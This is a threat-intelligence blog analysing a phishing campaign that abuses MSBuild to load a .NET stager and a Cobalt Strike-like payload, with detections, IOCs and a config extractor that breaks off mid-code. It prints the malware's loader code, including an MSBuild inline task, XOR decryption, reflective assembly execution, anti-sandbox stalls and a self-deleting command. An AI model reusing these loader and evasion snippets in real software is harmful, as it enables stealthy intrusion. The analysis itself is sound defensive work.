This blog provides a comprehensive technical analysis of a sophisticated multi-stage intrusion campaign culminating in the deployment of a malicious Cobalt Strike command and control (C2) framework.
Tracing the intrusion from initial delivery to post-exploitation, BCON Collective dissected the adversary’s tradecraft across a kill chain characterised by spearphishing attachments, execution of trusted developer utilities and advanced in-memory evasion techniques.
BCON Collective observed that the infection chain began with a spearphishing email delivering a malicious archive (ZIP) containing a weaponised LNK shortcut file. User interaction with the artefact invoked the native Microsoft binary MSBuild.exe to execute an MSBuild task defined within a custom XML-based build.targets file that was deployed through extraction of the delivered archive file.

Figure 1: Infection Chain Overview
During execution, the MSBuild script performed anti-analysis environment checks before deploying a decoy PDF document used to mask malicious activity from the victim and subsequently decrypted a secondary payload directly within memory. We analysed the second-stage payload and confirmed loader functionality which could be used to establish outbound communication over web protocols to an attacker-controlled C2 server used to retrieve and execute the third-stage payload within memory.
We also analysed the third-stage payload, revealing functionality to extract and decode directly within memory of internal, trusted processes. Disassembly of the third-stage payload revealed additional mechanisms such as custom, inline memory management to reduce reliance on conventional imports and resolve required APIs dynamically at runtime, and strict artefact cleanup to hinder forensic analysis.
We assess with low to moderate confidence that the third-stage payload contains Cobalt Strike compatible Beacon Object File functionality, potentially allowing an operator to extend post-exploitation capability through small modules executed within existing process context.
The attribution to Cobalt Strike is also based on the malware signature that was triggered by the Anti-Virus engine. This assessment is based on the presence of multiple Beacon Object File (BOF) API references and associated post-exploitation capabilities. A decoded beacon configuration was not recovered during the analysis described in this report.

Figure 2: Diamond Model: BR-UNC-041 Intrusion
We have attributed the intrusion activity to an internal threat cluster BR-UNC-041 based on the observed adversary tradecraft and victimology to track future iterations of the activity. No external attribution to known threat actors was deduced from the analysis.
Stage 1: Phishing Delivery and Initial Payload Staging
Analysis of the initial phishing activity identified inbound emails from external senders leveraging fraudulent restaurant booking lures with subject lines including “Re: Bookings” and “Re: Private Dining at [redacted]”.
The message bodies impersonated routine restaurant booking inquiries and delivered a password-protected archive file titled “AnitaDietaryRestrictions.zip” (T1566.001: Spearphishing Attachment).
To maximise victim interaction, the threat actor reused the sender’s alias within the attachment name and presented the file as an urgent medical dietary requirements form from a doctor. This social engineering tactic abuses standard business communications and is designed to create artificial operational urgency to encourage the recipient to extract and execute the contents.
The ZIP archive was encrypted using a password provided directly within the body of the email. We assess that this technique is used as a defence evasion tactic by preventing email gateway, security tools or automated sandboxes from decompressing, inspecting and analysing the payload prior to user interaction. (T1027: Obfuscated Files or Information)
Associated IOCs, including sender metadata and attachment hashes can be found at the end of this blog.

Figure 3: A fake booking form delivered via phishing to entice the user to download the attachment
Extraction of the password-protected ZIP archive within an isolated virtual environment revealed only a single file, initially, AnitaDietaryRestrictions.lnk. However, further analysis of the archive contents uncovered three additional files, which upon extraction, were hidden in their native state (T1564.001: Hide Artefacts: Hidden Files and Directories).
These files were likely hidden intentionally by the threat actor, ensuring that only the shortcut file was visible to the victim for further interaction (T1204: User Execution). After extraction, we observed the following files contained within the archive which are the key components during the initial stages of the infection chain:
- anitaDietaryRestrictions.pdf
- anitaDietaryRestrictions.dat
- anitaDietaryRestrictions.lnk
- build.targets

Figure 4: After enabling hidden files, additional malicious files are revealed.
Microsoft Defender timeline logs indicate that this file was downloaded and executed by the user, as shown below where the parent process, explorer.exe, is observed executing AnitaDietaryRestrictions.lnk file.

Figure 5: Parent process explorer.exe spawning the creation of LNK file
LNK Shortcut Analysis
Static analysis of the LNK payload, AnitaDietaryRestrictions.lnk, highlighted key attributes including:
Creation Time (UTC): April 29, 2022, 03:24 AM
Access Time (UTC): July 23, 2022, 03:52 AM
Modified Time (UTC): December 17, 2022, 07:34 AM
CLSID: {00021401-0000-0000-C000-000000000046}
Drive Serial Number: 7728-0B8B
Local Base Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe
Command Line Arguments: build.targets /nologo /noconsolelogger

Figure 6: Parsed headers of the LNK file reveal interesting properties.
From the findings, several properties of interest were revealed including attributes such as COMMAND_LINE_ARGUMENTS and LocalBasePath which suggest that the LNK payload executes a command that invokes MSBuild.exe, a legitimate Windows binary. By leveraging this signed Windows utility, the threat actor executes code contained within another extracted file, build.targets.
The accompanying command line parameters /nologo and /noconsolelogger are used to suppress standard MSBuild startup banners, console logging and terminal windows (T1564.003: Hide Artefacts: Hidden Window).
Using Epoch timestamps associated with the file, we assessed with low-moderate confidence that the threat actor’s operating hours aligned with the APAC region (UTC+8/UTC+9). At a procedure level, the convergence of an LNK file leveraging MSBuild (build.targets) alongside simultaneous deployment of a decoy PDF represents a distinct operational pattern, with only a limited number of attributed campaigns in the wild found to be exhibiting this behaviour:
MSBuild Executing (build.targets)
As observed above, MSBuild.exe is responsible for the execution of build.targets which is an XML structure that eventually loads and executes the second-stage payload directly into memory, hence acting as a loader in the wider infection chain.
MSBuild.exe is a legitimate, Microsoft signed binary native to .NET and Visual Studio installations. It can compile and run arbitrary C# code using project files which also supports inline tasks. Threat actors abuse it due to it being trusted on Windows endpoints, thereby facilitating living-off-the-land tradecraft which enables binary proxy execution and allows the activity to blend in with legitimate system administration activity and to potentially bypass security controls (T1127.001: Trusted Developer Utilities Proxy Execution: MSBuild).
We conducted static code analysis of the build.targets XML file to determine how the payload progressed the infection chain. Analysis revealed that the file uses C# code within a custom MSBuild task to perform process evasion, display a decoy document and execute an encrypted payload directly within memory.
The XML file uses MSBuild’s native CodeTaskFactory class to compile and launch a task using a randomised name Ldykbxiixduy, passing the current working directory as a parameter.
<Target Name="Build">
<Ldykbxiixduy Dir="$(MSBuildProjectDirectory)" />
</Target>
<UsingTask
TaskName="Ldykbxiixduy"
TaskFactory="CodeTaskFactory"
AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<ParameterGroup>
<Dir Required="true" />
</ParameterGroup>
<Task>
<!-- C# payload -->
</Task>
</UsingTask>Figure 7: Code extract: build.targets XML Structure (task initialisation)
Upon execution, the payload imports and invokes the Win32 API FreeConsole() function from kernel32.dll. This detaches the MSBuild.exe process from any active command-line windows, suppressing terminal flickering or console output to evade user detection (T1564.003: Hide Artefacts: Hidden Window).
[DllImport("kernel32.dll")]
static extern bool FreeConsole();
public override bool Execute() {
FreeConsole();
...
}Figure 8: Code extract: build.targets XML Structure (Win32 API call)
After detaching the console window, the task attempts to open the decoy PDF file (AnitaDietaryRestrictions.pdf) using the host’s default PDF viewer. This step serves as a social engineering decoy, presenting the expected document to the victim to maintain legitimacy while the payload is extracted in the background.
try {
System.Diagnostics.Process.Start(
Path.Combine(Dir, "AnitaDietaryRestrictions.pdf")
);
} catch {}Figure 9: build.targets XML Structure (load decoy PDF)
To validate the PDF capabilities, we conducted static analysis on the PDF which confirmed its role as a benign document posing as a decoy. The document contained a dietary restrictions form, matching the context supplied in the initial phishing email to reinforce credibility and to distract the victim (T1036: Masquerading).

Figure 10: A decoy PDF document is opened, reinforcing the initial lure and distracting the victim.
Triage performed using PDF parsing utilities returned no matches across standard suspicious indicators, specifically PDF Name Objects such as /JavaScript, /OpenAction, /Launch, /EmbeddedFile, /URI. This verifies that the file contained no embedded scripts, secondary payloads, initialised network connections or automated execution mechanisms.

Figure 11: Analysis of the PDF revealed no malicious capabilities
After launching the PDF, the MSBuild task reads the encrypted payload blob, (AnitaDietaryRestrictions.dat) extracted from the archive, into a byte array in memory. The payload is then decrypted within memory using a single byte XOR loop with the key 0x8C
(T1027.013: Obfuscated Files or Information: Encrypted/Encoded File).
byte[] buf;
using (var fs = new FileStream(
Path.Combine(Dir, "AnitaDietaryRestrictions.dat"),
FileMode.Open,
FileAccess.Read))
{
buf = new byte[(int)fs.Length];
fs.Read(buf, 0, buf.Length);
}
byte k = 0x8C; // Decimal 140
int n = buf.Length;
while (n-- > 0) buf[n] ^= k;Figure 12: build.targets XML Structure (XOR decryption of .NET payload)
Once decrypted using the XOR key, the loader uses a reflectively load and execute the resulting .NET assembly in memory (T1620: Reflective Code Loading). By dynamically invoking the binary’s entry point, the threat actor achieves fileless execution, avoiding the creation of an executable on disk to bypass file-based security signatures and other disk monitoring security controls.
object dom = Type.GetType("System.AppDomain")
.GetProperty("CurrentDomain")
.GetValue(null, null);
object asm = dom.GetType()
.GetMethod("Load", new Type[]{typeof(byte[])})
.Invoke(dom, new object[]{buf});
object ep = asm.GetType()
.GetProperty("EntryPoint")
.GetValue(asm, null);
if (ep == null) return true;
object[] prm = (object[])ep.GetType()
.GetMethod("GetParameters")
.Invoke(ep, null);
ep.GetType()
.GetMethod("Invoke", new Type[]{typeof(object), typeof(object[])})
.Invoke(ep, new object[]{null,
prm.Length == 0 ? null : new object[]{new string[0]}});
} catch { }
return true;Figure 13: build.targets XML Structure (XOR decryption of .NET payload)
Stage 2: MSBuild Reflective Code Loading
Following the in-memory execution of the stager, static analysis of the second-stage payload was conducted by manually decrypting the AnitaDietaryRestrictions.dat file using the identified XOR decryption key from the previous stage.
Filename: AnitaDietaryRestrictions.dat (Decrypted)
Original Filename: Stager.exe
SHA256 Hash: 70f225a67847514d82fca342b293adb2f7b5775ed0299f553ae8a4822598d839
File Size: 16,385 bytes
File Type: Portable Executable (.exe)

Figure 14: The second-stage payload, decrypted.
Metadata of decrypted payload highlights a 16KB, 32-bit .NET executable internally compiled as Stager.exe. Additional strings analysis revealed several low-level Win32 API references are worth investigating at a later stage and demonstrate the payload’s core capabilities.
DAT File Strings Analysis
The functions of interest based on the conducted strings analysis include the following:
- Network Staging: The binary references Windows Sockets libraries (ws2_32.dll, WSAStartup) alongside references to Download and Stager.exe, confirming its function of a network stager designed to fetch additional payloads (T1105: Ingress Tool Transfer).
- Dynamic API Resolution: References to LoadLibrary, GetProcAddress and GetModuleHandle indicate that the payload dynamically resolves Win32 API functions at runtime to evade static detection signatures (T1027.007: Obfuscated Files or Information: Dynamic API Resolution).
- In-Memory Allocation and Execution: Low-level memory management APIs (VirtualAlloc, VirtualFree) suggest that the stager allocates executable memory regions to stage and run shellcode within memory (T1055: Process Injection).
- Evasion and Reconnaissance: The inclusion of the NtQuerySystemInformation call indicates environment information gathering or sandbox detection capabilities, while references to AddVectoredExceptionHandler suggest that Vectored Exception Handling techniques are used to disrupt or evade analysis within a debugging environment (T1082: System Information Discovery).
- Given the naming convention of the function names, it is likely that the binary is obfuscated using an unknown obfuscator.

Figure 15: Strings analysis of the decrypted payload highlights interesting functions.
Based on the above findings, we assesse that Stager.exe operates as a second-stage downloader with the objective of performing environment checks, establishing network communication, download and execution of additional malicious payloads within memory (T1071.001: Application Layer Protocols: Web Protocols).
Additionally, given the naming convention of the observed function names which appear to be random, it is likely that this binary was obfuscated using an unknown obfuscator.

Figure 16: No explicit obfuscator was identified.
DAT File Code Analysis
To validate and complement the initial findings of the decrypted second-stage payload, AnitaDietaryRestrictions.dat, we performed code analysis using a disassembler to understand the execution flow.
Analysis highlighted the primary objective of this payload was to conduct anti-analysis checks, C2 decryption and ingress transfer of a third-stage payload. The second-stage payload was also observed performing several cleanup commands to remove artefacts of interest to hinder forensic analysis (T1070.004: Indicator Removal: File Deletion).
Identified XOR Routines
Upon navigating the assembly tree of the binary and identifying the functions of interest, a common pattern was observed. The identified core functions implement a decode loop where different XOR keys are passed to a dedicated function that is responsible for decoding strings during runtime.
To speed the analysis process up, breakpoints were added to the functions implementing the decode loop where their output was logged separately to discover the outputted clear text strings. Functions w71mk() and c9JjI() both implement the same decode logic.

Figure 17: The malware implements an XOR decryption function.
Hence, all call references to functions w71mk() and c9JjI() were enumerated to automate the process of locating the XOR keys and using them to extract the decoded strings from the functions.

Figure 18: The decryption function is used by several functions.
After analysing the Intermediate Language (IL) patterns of the XOR operations, a YARA rule was created to identify offsets of XOR keys that are being passed into the decode loop function which identified the following XOR keys:
Identified IL XOR pattern (in hex):
// 1F ?? -> ldc.i4.s <1-byte XOR key>
// 28 -> call
// ?? 00 00 06 -> 4-byte MethodDef token in little-endian
// (matches 0x06000000 to 0x060000FF)Figure 19: XOR keys identified.
In addition to this analysis, we also created a configuration extraction script that can be used to identify XOR keys dynamically and utilised it to decrypt the core functions and parameters of the binary. This python script is available for use and can be found within the Appendix section of this report.
Anti-Sandbox and Environment Verification Checks
Before proceeding with the core execution routine, the loader invokes the tWeA() function to conduct anti-sandbox checks and verify that the host environment is not an automated sandbox, virtualised environment or attached to a debugger (T1497: Virtualisation/Sandbox Evasion).
private static bool tWeA()
{
try
{
GhF4.uWRHvO(); // Executes CPU-heavy matrix calculations.
if (GhF4.s60o()) // Checks for kernel debuggers and common usernames.
{
return false;
}
}Figure 20: anitadietaryrestrictions.dat structure (Sandbox and anti-analysis environment checks)
First, the loader executes uWRHvO() which performs CPU-intensive calculations to artificially stall execution and introduce runtime overhead. Following this, tWeA() calls s60o() which queries NtSystemInformation to detect if a debugger is attached and queries Environment.UserName to obtain the active user profile of the running process, comparing it against an XOR-encrypted byte array (key: 0x6A) containing the string, bruno. If the s60o() function identifies an active debugger or the blacklisted username, the malware terminates.
Additionally, the mlE4IINc() function is called to instigate a 60-second execution stall to hinder analysis via automated sandbox timeout windows. There are several other mechanisms present, used to hinder sandbox analysis, including:
private static void mlE4IINc(int s)
{
if (s <= 0) return;
DateTime dateTime = DateTime.UtcNow.AddSeconds((double)s);
while (DateTime.UtcNow < dateTime)
{
for (int i = 0; i < 128806; i++)
{
GhF4.a0DL2 ^= GhF4.a0DL2 << 13;
GhF4.a0DL2 ^= GhF4.a0DL2 >> 17;
GhF4.a0DL2 ^= GhF4.a0DL2 << 5;
}
}
}Figure 21: anitadietaryrestrictions.dat structure (Sandbox and anti-analysis environment checks)
The above function executes a loop that performs bit-shift operations on the variable a0DL2 until 60 seconds of real time has passed.
C2 URL Decryption and Payload Retrieval
We conducted further analysis by patching the second-stage payload to skip the anti-analysis checks. After these checks, the malware decrypts obfuscated strings at runtime by applying XOR operations (key: k) to obfuscated strings including the third-stage C2 URL.
private static string c9JjI(byte[] e, byte k)
{
char[] array = new char[e.Length];
for (int i = 0; i < e.Length; i++)
{
array[i] = (char)(e[i] ^ k);
}
return new string(array);
}Figure 22: anitadietaryrestrictions.dat structure (C2 decryption and payload retrieval)
We conducted dynamic analysis and observed the decryption taking place to reveal the C2 URL used to download and execute the third-stage payload in memory.

Figure 23: Dynamic analysis with breakpoints revealed the decrypted C2 URL.
Additionally, network telemetry captured by endpoint detection and response (EDR) during sandbox analysis confirmed identical activity, showing an outbound communication to the same C2 URL.

Figure 24: Outbound communication to C2 URL was captured by Defender.
To retrieve the stage 3 payload from the C2 server while avoiding detection, the loader implements the oBZRUiN() function to stealthily download the payload, execute it within memory and subsequently remove artefacts.
private static byte[] oBZRUiN(string url)
{
string text = Path.Combine(
Path.GetTempPath(),
Path.GetRandomFileName()
);
byte[] array;
try
{
if (!GhF4._4ND(url, text))
array = null;
else
array = File.ReadAllBytes(text);
}
finally
{
try { File.Delete(text); } catch { }
}
return array;
}
private static bool yvLWsd()
{
string text = Path.Combine(
RuntimeEnvironment.GetRuntimeDirectory(),
"System.Deployment.dll"
);
Assembly assembly = Assembly.LoadFrom(text);
Type type = assembly.GetType(
GhF4.c9JjI(..., 120)
);
GhF4.im1 = type.GetMethod("AddFile", ...);
GhF4.hK = type.GetMethod("Download", ...);
return GhF4.im1 != null && GhF4.hK != null;
}Figure 25: anitadietaryrestrictions.dat structure (Third-stage payload retrieval and decryption.)
Before initiating network traffic, the function _4ND() calls yvLWsd() to locate and dynamically load System.Deployment.dll at runtime, a legitimate Windows library used for application updates. By dynamically resolving the Download() and AddFile() methods during execution, the stager avoids static references in its file header and attempts to make its C2 traffic mimic normal system deployment activity.
Next, oBZRUiN() generates a temporary path in the user’s %TEMP% directory by using the GetRandomFileName() function. (e.g., \AppData\Local\Temp\fsdhuh54s.tmp) The dynamically resolved AddFile() and Download() methods are used to fetch the payload from the C2 URL and write the raw binary to the temporary path.
Once saved, oBZRUiN() calls File.ReadAllBytes() to transfer the payload into a memory buffer, and afterwards, executes File.Delete() to erase the file from disk, ensuring no persistent artefacts are left on the endpoint.
Additionally, the Stager.exe (AnitaDietaryRestrictions.dat) payload executes a self-deletion routine to wipe itself from disk to minimise post-exploitation artefacts.
// Self-deletion routine
string fileName = Process.GetCurrentProcess().MainModule.FileName;
Process.Start(new ProcessStartInfo
{
FileName = GhF4.c9JjI(...),
Arguments = GhF4.c9JjI(...) + fileName + "\"",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});Figure 26: anitadietaryrestrictions.dat structure (Self-deletion routine.)
To evade static string detection, the loader performs a decryption routine using the function c9JjI() at runtime to decrypt and execute the following command:
cmd.exe /c ping 127.0.0.1 -n 3 & del /f /qFigure 27: anitadietaryrestrictions.dat structure (Self-deletion routine.)
The loader then retrieves its own execution file path using the GetCurrentProcess() function and appends it as an argument to the above command, shown in Figure 27. The observed command sequence begins ping 127.0.0.1 -n 3 used as an execution delay mechanism prior to invoking del /f /q to perform a delete operation.
The /f flag is used to force deletion of read-only files without error and /q suppresses the output to cover tracks. We assess with moderate-high confidence that this delay is used to ensure that the payload process has fully terminated and released its file lock, allowing the self-deletion routine to succeed without error.
Stage 3: Cobalt Strike Delivery and Execution
The stage 3 payload was downloaded from the C2 URL (https://paradisesailingadventures[.]com/cdn/static/dist/bundle.min.js) observed earlier in the infection chain.
Static analysis of the retrieved file confirmed that it was a compiled 64-bit executable, deliberately assigned a renamed JavaScript extension (.js) to mimic a standard web asset (T1036.008: Masquerading: Masquerade File Type).
This extension spoofing technique aligns with the threat actor’s delivery strategy, mirroring the disguised URL structure to blend in with legitimate web traffic (T1071.001: Application Layer Protocol: Web Protocols).
The stage 3 payload was attributed with low to moderate confidence to Cobalt Strike based on the malware signature Dump:Generic.Beacon.Marte.B.90DF89B4 detected by the anti-virus engine.
Analysis of the Stage 3 Payload
Analysis of this payload revealed string references to URL endpoints and request parameters designed to mimic routine web application, analytic and cloud telemetry traffic (including paths such as /api/v1/telemetry, /auth/login and /static/js/app.min.js).
While we did not observe any live communication or additional hardcoded domains within the payload, we assessed with medium confidence that the malware communicates with the original staging domain (paradisesailingadventures[.]com) observed during initial delivery. The identified URI paths are highly likely appended to this primary domain to camouflage C2 traffic as routine enterprise telemetry.

Figure 28: Hardcoded URI paths likely used to camoflage C2 traffic.
To further blend its C2 traffic with standard browser profiles, we uncovered several user-agent strings hardcoded within the payload:
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
- Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
- Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Explicit network capabilities were similarly reinforced with string references to HTTP POST methods, protocol headers (cookie: and :referrer) and imports referencing core network libraries like ws2_32.dll to support bidirectional C2 communication.

Figure 29: Hardcoded user-agent strings indicate command and control functionality.
Beyond its network presentation, evaluation of the payload revealed references to low-level API functions which highlight core capabilities. The binary references memory manipulation function calls such as VirtualAlloc, NtWriteVirtualMemory and NtReadVirtualMemory, confirming its capability to allocate, write and manipulate virtual memory spaces across processes.
Furthermore, we identified hardcoded references to notepad.exe, indicating that this benign process may be leveraged by the binary. The combination of cross-process memory APIs and a hardcoded reference to notepad.exe indicates likely process injection capability, however, the evidence presented does not independently confirm the successful process injection that was observed during the incident.
![]()
Figure 30: References to notepad.exe indicate process injection capabilities
Finally, string analysis also provided evidence of modular post-exploitation capabilities through the inclusion of BOF functionality. The binary contains hardcoded references to BOF APIs such as BeaconDataParse, BeaconDataInt, BeaconFormatAlloc, BeaconOutput, among others.

Figure 31: The secondary payload included references to Beacon Object Files.
In advanced adversary frameworks like Cobalt Strike, BOFs allow operators to write small, compiled segments of code that execute directly within the beacon’s existing process memory space. This technique provides advantages by maintaining a minimal disk footprint through in-memory execution, while allowing operators to easily extend the beacon’s capabilities on the fly without dropping additional files or spawning separate child processes.
Analysis of the stage 3 payload using a hex editor tool revealed that despite being renamed with a JavaScript file extension, the payload functions as a compiled 64-bit shellcode stager housing an embedded binary payload.
The downloaded stage 3 artefact (bundle.min.js) was identified as a masqueraded 64-bit executable containing an additional, embedded 64-bit payload. The embedded payload was manually carved from the outer artefact and analysed separately to clarify the relationship between the delivery artefact and the extracted post-exploitation component.

Figure 32: A 64-bit binary was carved out of the stage 3 payload (bundle.min.js)
Cobalt Strike Beacon Analysis
To investigate the carved payload, reverse-engineering tools such as Ghidra were employed to disassemble the internal structure and identify further capabilities. The analysis revealed several advanced mechanisms used to minimise external dependencies, bypass security and monitoring tools and enforce strict memory management to minimise its disk footprint.
Custom Inline Functions
To avoid importing critical external runtime dependencies, the malware author used custom, inline equivalents of standard library functions, keeping the Import Address Table (IAT) of the payload largely empty and devoid of suspicious telemetry flags. Specifically, the function custom_memcpy (FUN_14000cb60) copies a specified number of bytes from a source memory location to a destination buffer.
This is complemented by custom_strlen (FUN_14000d050) which iterates character-by-character to calculate string lengths and custom_memset (FUN_14000cb80) which iterates through a specified target buffer and writes null bytes to clear data structures before reuse.

Figure 33: The extracted payload implements custom, inline functions to avoid library imports.
Process Environment Block (PEB) Walking
Continued analysis of the disassembled functions highlighted additional functionality involving the use of the Windows PEB, which is parsed dynamically by the payload to identify and execute system libraries at runtime without invoking standard import tables or relying on disk-based DLLs. This is another sophisticated defence evasion technique used to evade detection (T1027.007: Dynamic API Resolution).

Figure 34: The extracted payload performs PEB walking to avoid invoking import tables.
Memory Allocation/Deallocation and Buffer Tracking
Analysis also revealed several memory allocation and deallocation routines that implement internal logic to manage space within memory buffers. WeI assess with high confidence that these custom, inline functions are designed to replace standard Windows library calls such as malloc() or free().
Supporting these custom, inline functions are further code implementations used to track and monitor newly created memory buffers. This mechanism is included to enable the payload to systematically clean up and remove allocated memory segments during termination, serving as an artefact removal technique and one that is likely used to hinder forensic memory analysis.

Figure 35: Buffer tracking code enables the malware to perform artefact cleanup.
Dynamic Function Resolution
To maintain a clean IAT and provide an additional layer of evasion, the malware implements custom functionality to resolve critical system functions dynamically at runtime rather than relying on external library imports. Specifically, the buffer allocation and management routine (FUN_140009900) incorporated custom code to perform dynamic API resolution.

Figure 36: Dynamic API resolution implemented within the code
Rather than invoking conventional functions directly, the code leverages the PEB Walking technique highlighted previously to iterate through loaded DLLs. It applies an inline DJB2 hashing calculation against module names, matching hardcoded values to resolve target DLLs directly within memory.
The below example highlights how the malware resolves a target module by matching the hardcoded hash 0x22d3b5ed to resolve ntdll.dll directly within memory without referencing the import in the IAT.
After resolving the target library (ntdll.dll) via the initial hashing routine, the malware uses a secondary mechanism to locate individual function pointers. The secondary routine uses a hardcoded seed value of 0x5547c2c2 and uses a combination of right bit-rotation, XOR operations and multiplication factors.

Figure 37: Hardcoded seed values used to resolve API functions
By evaluating the exported functions against hardcoded hash values within the binary, the malware successfully resolves critical internal functions without exposing the function names in the IAT. We used static calculation to verify that the target constant value contained within the code (0xa1b7a49d) resolves to the RtlAllocateHeap function call, residing in the previously calculated ntdll.dll library.
This enables the malware to securely allocate, track and manage low-level memory buffers while evading static string-based signatures, a sophisticated technique, common among custom C2 framework implementations such as Cobalt Strike and Metasploit.
Detection Opportunities
| Detection | Behavior |
|---|---|
| Shortcut (LNK) Execution from Archive | Explorer.exe, archive utilities or web browsers executing LNK files from %Temp%, INetCache or other user-writable locations. |
| MSBuild Stealth Execution | MSBuild.exe running with output suppression flags (/nologo, /noconsolelogger) concatenated with system icon DLL references (shell32.dll). |
| MSBuild Outbound Connectivity | MSBuild.exe initiating external network connections to non-private addresses, or anomalous external domains. |
| Command-Line MSBuild Artefact Removal | Cmd.exe executing background process deletion routines leveraging ping as an execution delay mechanism prior to invoking del /f /q. |
Conclusion
The following section is intended to share insights related to attribution and comparison with open-source reporting where similar infection chain characteristics were observed.

Figure 38: Diamond Model: BR-UNC-041 Intrusion
The analysis performed in this report centres heavily on the identified malware artefacts and the observed intrusion techniques, aligning closely to the capability vertex of the diamond model. Consequently, the resulting attribution does not fully account for the associated infrastructure due to the limited analytical pivoting opportunities within identified network infrastructure. Comparative analysis against open-source intelligence detailing initial-stage LNK and MSBuild execution revealed no direct indicator overlaps.
While isolated reporting has documented similar tradecraft used by threat actors such as Turla and Mustang Panda, we refrain from attributing this intrusion to either threat actor due to insufficient evidence, specifically marked divergences in observed lures, final payloads, infrastructure choices and victimology.
Instead, we are tracking the threat cluster driving this activity under the internal designation BR-UNC-041, anchored by specific victimology, detonated payloads and characteristics identified through the investigation. This newly established cluster is actively tracked using custom YARA rules and KQL threat hunting queries engineered for detection across customer telemetry. All resulting detection content, alongside malware configuration extraction scripts are provided within the Appendices below to support ongoing defensive monitoring and incident response.
Appendix A: MITRE ATT&CK
| Tactic | Technique | Name |
|---|---|---|
| Initial Access | T1566 | Phishing |
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment |
| Execution | T1127 | Trusted Developer Utilities Proxy Execution |
| Execution | T1127.001 | Trusted Developer Utilities Proxy Execution: MSBuild |
| Execution | T1204 | User Execution |
| Privilege Escalation | T1055 | Process Injection |
| Discovery | T1082 | System Information Discovery |
| Command and Control | T1071 | Application Layer Protocol |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols |
| Command and Control | T1105 | Ingress Tool Transfer |
| Stealth | T1027 | Obfuscated Files or Information |
| Stealth | T1027.007 | Obfuscated Files or Information: Dynamic API Resolution |
| Stealth | T1027.013 | Obfuscated Files or Information: Encrypted/Encoded File |
| Stealth | T1036 | Masquerading |
| Stealth | T1036.008 | Masquerading: Masquerade File Type |
| Stealth | T1070 | Indicator Removal on Host |
| Stealth | T1070.004 | Indicator Removal on Host: File Deletion |
| Stealth / Discovery | T1497 | Virtualisation/Sandbox Evasion |
| Stealth | T1564 | Hide Artefacts |
| Stealth | T1564.001 | Hide Artefacts: Hidden Files and Directories |
| Stealth | T1564.003 | Hide Artefacts: Hidden Window |
| Stealth | T1620 | Reflective Code Loading |
Appendix B: Indicators of Compromise (IOCs)
| Technique | Name / Value | Description |
|---|---|---|
| Filename | anitaDietaryRestrictions.zip | Initial ZIP delivered via phishing email. |
| Filename | anitaDietaryRestrictions.lnk | Contained in ZIP. |
| Filename | anitaDietaryRestrictions.pdf | Contained in ZIP. |
| Filename | anitaDietaryRestrictions.dat | Contained in ZIP. |
| Filename | build.targets | Contained in ZIP. |
| Filename | bundle.min.js | Stage 3 payload. |
| SHA256 | 389902f54a4b5606e6340d0ecbd2585a1d137dac58c380888a458537bf6c01e0 | AnitaDietaryRestrictions.zip |
| SHA256 | cc28d11e4c01666444577f9964ae63c57ddf439bf80e0fe4b65c32bbf963faa3 | AnitaDietaryRestrictions.lnk |
| SHA256 | 2466d8564efe279bba3a55bd6c16d638d828d84e64322ec0b44ad4ebb2946eda | AnitaDietaryRestrictions.pdf |
| SHA256 | b40470e72f52244633944d3c3ad083ba85881055898d1e255e9cf3f19b75a560 | AnitaDietaryRestrictions.dat |
| SHA256 | 70f225a67847514d82fca342b293adb2f7b5775ed0299f553ae8a4822598d839 | Stager.exe (decrypted) |
| SHA256 | 6cdb12242fe0f4b8ba13bf2c249f4acd14acb072b5261f9e650d7fc76bd35e8f | Build.targets |
| SHA256 | ec7e15b167687ef3f84ca41c4494f663d9eaf350f68b4e401691aeab85e378c4 | Secondary payload carved from bundle.min.js |
| SHA256 | bf4ad4eb87113c6cad6e70ebeff7003d2daafe350d1f961ed10a20f9ed6e3ca1 | bundle.min.js |
| Other | Ldykbxiixduy | MSBuild task name. |
| Email Subject | Re: Private Dining at [redacted] | Initial phishing email. |
| Email Subject | Re: Bookings | Initial phishing email. |
| Email Sender | anitakierragan@outlook[.]com | Initial phishing email. |
| Command | build.targets /nologo /noconsolelogger | MSBuild execution command. |
| Command | cmd.exe /c ping 127.0.0.1 -n 3 & del /f /q | Self-delete command. |
| Domain | paradisesailingadventures[.]com | Stage 2 & 3 C2 domain. |
| File Path | \AppData\Local\Temp\fsdhuh54s.tmp | Temporary dropped file. |
Appendix C: Config Extractor
Python Script
import sys, os, re, string
def is_printable(text):
# Returns True if the text consists mostly of printable ASCII characters
# We allow a little leeway for padding or trailing nulls
printable_chars = set(string.printable)
valid_count = sum(1 for c in text if c in printable_chars)
# If 90% or more of the string is printable,
# consider it a valid decryption
return (valid_count / len(text)) >= 0.9 if text else False
def main():
path = sys.argv[1] if len(sys.argv) > 1 else "new_decrypted.exe"
if not os.path.exists(path):
print(f"[!] File not found: {path}")
sys.exit(1)
with open(path, 'rb') as f:
data = f.read()
print("\n" + "=" * 70)
print(" Stager.exe - Smart Brute-Force Config Extractor")
print("=" * 70)
# =====================================================================
# ORIGINAL REGEX
# Extracts all short integers passed to internal calls
# =====================================================================
pattern = re.compile(
b'\x1F(.)[\x28].\x00\x00\x06',
re.DOTALL
)
# Use a set to automatically remove duplicate keys
extracted_keys = set()
for match in pattern.finditer(data):
extracted_keys.add(match.group(1)[0])
print(
f"[*] Dynamically extracted {len(extracted_keys)} "
f"unique XOR keys from the IL stream.\n"
)
# Known offsets and lengths
blobs = [
("Target username", 0x3800, 5),
("AMSI bypass target", 0x3820, 14),
("ETW bypass target", 0x3830, 12),
("Heaven's Gate DLL", 0x3868, 9),
("APC injection fn", 0x3888, 15),
("C2 URL", 0x38C8, 90),
]
# Test every unique key against every offset
for label, file_off, length in blobs:
raw_bytes = data[file_off:file_off + length]
print(
f"[*] {label} "
f"(Offset: 0x{file_off:05X})"
)
found_valid = False
for key in extracted_keys:
# Decrypt using the current key in the pool
dec = bytes(
[b ^ key for b in raw_bytes]
